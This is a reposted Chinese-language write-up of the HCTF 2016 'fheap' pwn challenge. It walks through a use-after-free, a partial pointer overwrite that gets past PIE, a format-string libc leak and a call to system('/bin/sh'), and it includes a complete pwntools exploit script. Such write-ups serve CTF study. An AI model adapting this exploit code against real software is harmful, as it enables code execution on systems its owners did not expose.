2016 hctf fheap 题解
生活随笔
收集整理的這篇文章主要介紹了
2016 hctf fheap 题解
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
題目鏈接
https://github.com/zh-explorer/hctf2016-fheap題目分析
題目功能只有 malloc 和 free 的功能,查看堆的布局:全局指針沒有置空,導致 uaf 和 double free 漏洞,兩種都可以做,但是這題的重點是繞過 PIE。
- double free 完了之后,會導致下面的情況
這里需要注意一下 create 函數的邏輯:如果輸入的字符串的長度大于 15,則重新 maloc 一塊堆塊用來存放字符串,如圖:
但是這里還是選擇使用 uaf 來做。整體思路
malloc 兩個堆塊,delete 兩個堆塊
重新 malloc 一個堆塊,size 大于 24,這樣就 malloc 到原來的堆塊的區域,因為全局 flag 處還存放著原來堆塊的指針,所以存在 uaf 漏洞。
因為這里存在溢出,可以覆蓋 free_ptr 指針,在開啟 pie 的情況下,覆蓋最后一個字節使得 free_ptr 被覆蓋成 puts ,接著 delete 堆塊時相當于輸出 puts 函數的地址,得到基地址。
重復上一步,接著覆蓋 puts 指針為 printf 函數的指針,構造一個格式化字符串漏洞,輸出得到libc地址
重復上一步,覆蓋 printf 指針為 system 函數的指針,布置好 "/bin/sh",接著 delete 就調用了 system 函數
- 格式化字符串那里存在問題,無法正常找到 libc 的地址,只能隨便找到一個 ld 庫的一個地址,但是這里的偏移都是一樣的。
EXP
#!/usr/bin/pythonfrom pwn import * DEBUG = 1if DEBUG:r = process('./pwn-f')elf = ELF('./pwn-f')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") else:r = remote('127.0.0.1',4444)def create(size,content):r.recvuntil("3.quit")r.sendline("create ")r.recvuntil("Pls give string size:")r.sendline(str(size))r.recvuntil("str:")r.sendline(str(content))def delete(idx):r.recvuntil("3.quit")r.sendline("delete ")r.recvuntil("id:")r.sendline(str(idx))r.recvuntil("Are you sure?:")r.sendline("yes") create(10,"aaa") create(10,"bbb")delete(1) delete(0)create(25,'f'*24+p8(0xE4))delete(1) r.recvuntil("f"*24) puts_addr = u64(r.recvline("\n")[:-1].ljust(8,"\x00"))base_addr = puts_addr - 0xde4 success("base_addr :" + hex(base_addr))r.sendlineafter("Are you sure?:","H4lo")delete(0)printf_plt = base_addr + elf.plt['printf']payload = "%51$s^^".ljust(24,'A') payload += p64(printf_plt)create(32,payload)delete(1) addr = u64(r.recv(6).ljust(8,'\x00'))success(hex(addr))success("libc_addr :"+hex(addr+0xaf8-0x5d2000)) libc_addr = addr+0xaf8-0x5d2000 # 取到偏移delete(0)payload = "/bin/sh;".ljust(24,'A') payload += p64(libc_addr + libc.symbols['system'])create(32,payload)r.interactive()參考:
https://github.com/zh-explorer/hctf2016-fheap https://www.cnblogs.com/shangye/p/6156350.html https://www.xctf.org.cn/library/details/21e9451548a2b5d01dcf411e90ba968fc54ac9a5/ https://blog.csdn.net/qq_33528164/article/details/79515831轉載于:https://www.cnblogs.com/H4lo/p/10611990.html
總結
以上是生活随笔為你收集整理的2016 hctf fheap 题解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: nginx获取客户端请求的真实IP
- 下一篇: kubernetes ui 搭建